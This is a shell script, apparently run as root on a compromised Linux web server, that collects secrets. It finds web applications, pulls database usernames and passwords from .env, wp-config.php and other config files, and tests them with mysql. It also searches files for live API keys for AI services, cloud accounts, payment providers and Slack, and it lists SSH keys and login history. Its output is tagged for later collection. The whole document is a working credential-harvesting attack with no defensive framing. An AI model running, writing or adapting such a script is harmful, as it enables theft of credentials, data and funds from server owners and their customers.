export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export HOME=/root
echo "### HOST"; hostname 2>/dev/null; whoami 2>/dev/null; sudo -n true 2>&1 | head -1
echo "### ROOTS"; ls -d /var/www/* /www/wwwroot/* /home/*/public_html /srv/* /opt/* 2>/dev/null | head -26 | tr '\n' ','
echo ""
echo "### VHOST"; timeout 8 grep -h 'server_name' /etc/nginx/sites-enabled/* /etc/nginx/conf.d/*.conf /www/server/panel/vhost/nginx/*.conf /etc/apache2/sites-enabled/*.conf /usr/local/apache/conf/httpd.conf 2>/dev/null | sed 's/^[ \t]*//' | sort -u | head -12 | tr '\n' ','
echo ""
echo "### APPTYPE"
for d in /var/www/* /var/www/*/* /www/wwwroot/* /home/*/public_html; do
  [ -d "$d" ] || continue; t=""
  [ -f "$d/artisan" ] && t="$t laravel"
  [ -f "$d/wp-config.php" ] && t="$t wordpress"
  [ -f "$d/application/config/database.php" ] && t="$t codeigniter"
  [ -f "$d/package.json" ] && t="$t node"
  [ -n "$t" ] && echo "$d:$t"
done 2>/dev/null | head -12
echo "### ENVD"
for f in $(timeout 12 find /var/www /www/wwwroot /home -maxdepth 6 -name '.env' 2>/dev/null | grep -v vendor | head -6); do
  echo "@$f"
  timeout 4 grep -aE '^APP_NAME|^APP_URL|^DB_HOST|^DB_PORT|^DB_DATABASE|^DB_USERNAME|^DB_PASSWORD|^MYSQL_HOST|^MYSQL_USER|^MYSQL_PASSWORD|^MYSQL_DATABASE' "$f" 2>/dev/null | head -12 | cut -c1-130
  timeout 2 grep -al 'DB_PASSWORD' "$f" >/dev/null 2>&1 || echo "(perm denied or no db vars)"
done
echo "### DBV"
for f in $(timeout 10 find /var/www /www/wwwroot /home -maxdepth 6 \( -name 'app_config.php' -o -name 'database.php' -o -name 'config.php' \) 2>/dev/null | grep -vE 'vendor|migrations|/install/|node_modules' | head -8); do
  hit=$(timeout 3 grep -acE "define\(\s*'APP_DB_|'(hostname|username|password|database)'\s*=>" "$f" 2>/dev/null)
  [ "${hit:-0}" = "0" ] && continue
  echo "@$f"
  timeout 4 grep -aE "define\(\s*'APP_DB_|'(hostname|username|password|database)'\s*=>" "$f" 2>/dev/null | grep -av "The " | head -8 | cut -c1-140
done
echo "### WPCONF"
for f in $(timeout 8 find /var/www /www/wwwroot /home -maxdepth 5 -name 'wp-config.php' 2>/dev/null | head -3); do
  echo "@$f"; timeout 4 grep -aE "DB_NAME|DB_USER|DB_PASSWORD|DB_HOST" "$f" 2>/dev/null | head -4 | cut -c1-120
done
echo "### DBTEST"
if command -v mysql >/dev/null 2>&1; then
  for f in $(timeout 8 find /var/www /www/wwwroot /home -maxdepth 6 -name '.env' 2>/dev/null | grep -v vendor | head -2); do
    H=$(timeout 3 grep -a '^DB_HOST=' "$f" | cut -d= -f2- | tr -d '\r"'); U=$(timeout 3 grep -a '^DB_USERNAME=' "$f" | cut -d= -f2- | tr -d '\r"'); P=$(timeout 3 grep -a '^DB_PASSWORD=' "$f" | cut -d= -f2- | tr -d '\r"'); D=$(timeout 3 grep -a '^DB_DATABASE=' "$f" | cut -d= -f2- | tr -d '\r"')
    [ -z "$U" ] && continue
    echo "TRY_ENV $U@${H:-127.0.0.1}/$D"
    MYSQL_PWD="$P" timeout 6 mysql -h"${H:-127.0.0.1}" -u"$U" -N -e "select 'MYSQL_OK'; show databases;" 2>&1 | head -6
  done
  for f in $(timeout 8 find /var/www /www/wwwroot /home -maxdepth 6 -name 'app_config.php' 2>/dev/null | head -2); do
    H=$(timeout 3 grep -m1 "define('APP_DB_HOSTNAME'" "$f" | sed -E "s/^[^(]*\([^,]*,\s*['\"]([^'\"]*)['\"].*/\1/")
    U=$(timeout 3 grep -m1 "define('APP_DB_USERNAME'" "$f" | sed -E "s/^[^(]*\([^,]*,\s*['\"]([^'\"]*)['\"].*/\1/")
    P=$(timeout 3 grep -m1 "define('APP_DB_PASSWORD'" "$f" | sed -E "s/^[^(]*\([^,]*,\s*['\"]([^'\"]*)['\"].*/\1/")
    D=$(timeout 3 grep -m1 "define('APP_DB_NAME'" "$f" | sed -E "s/^[^(]*\([^,]*,\s*['\"]([^'\"]*)['\"].*/\1/")
    [ -z "$U" ] && continue
    echo "TRY_CI $U@${H:-127.0.0.1}/$D"
    MYSQL_PWD="$P" timeout 6 mysql -h"${H:-127.0.0.1}" -u"$U" -N -e "select 'MYSQL_OK'; show databases;" 2>&1 | head -6
  done
else echo no_mysql_client; fi
echo "### AIK"
timeout 14 grep -roaE 'AIza[0-9A-Za-z_-]{30,}|sk-ant-[A-Za-z0-9_-]{20,}|sk-proj-[A-Za-z0-9_-]{20,}|sk-or-v1-[A-Za-z0-9]{20,}|gsk_[A-Za-z0-9]{20,}|AQ\.Ab[A-Za-z0-9_-]{10,}|xoxb-[A-Za-z0-9-]{20,}' /var/www /home /www/wwwroot 2>/dev/null | grep -vE 'vendor/|node_modules|fullcalendar|/examples?/|\.git/|assets/plugins' | head -10
echo "### CLOUD"
timeout 8 grep -roaE 'AKIA[0-9A-Z]{16}|ASIA[0-9A-Z]{16}|LTAI[0-9A-Za-z]{12,}' /var/www /home /www/wwwroot 2>/dev/null | head -6
timeout 5 ls -la /root/.aws/credentials /home/*/.aws/credentials 2>/dev/null | head -4
echo "### PAY"
timeout 8 grep -roaiE 'sk_live_[A-Za-z0-9]{10,}|rzp_live_[A-Za-z0-9]{10,}|pk_live_[A-Za-z0-9]{10,}' /var/www /home /www/wwwroot 2>/dev/null | head -6
echo "### SSH"
ls -la /root/.ssh 2>/dev/null | head -8
echo "AK:$(grep -c . /root/.ssh/authorized_keys 2>/dev/null)"
echo "ACC:$(zcat -f /var/log/auth.log* 2>/dev/null | grep -ac 'Accepted ')"
echo "FAIL:$(zcat -f /var/log/auth.log* 2>/dev/null | grep -ac 'Failed password')"
echo "SSHPORT:$(ss -tlnp 2>/dev/null | grep -c ':22 ')"
echo "LAST:$(last -n 3 2>/dev/null | head -3 | tr '\n' ';')"
echo ""
echo ENDD4
